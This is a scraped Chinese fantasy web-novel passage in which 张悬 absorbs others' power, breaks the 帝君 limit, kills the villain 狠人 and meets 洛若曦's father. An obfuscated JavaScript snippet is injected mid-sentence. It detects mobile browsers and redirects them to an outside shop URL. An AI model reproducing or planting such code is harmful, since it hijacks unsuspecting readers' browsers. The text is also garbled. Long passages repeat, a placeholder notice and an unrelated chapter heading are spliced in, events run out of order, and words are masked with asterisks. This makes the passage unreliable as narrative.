小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546020|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第48章数百年的江山亡于我手我是罪人 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 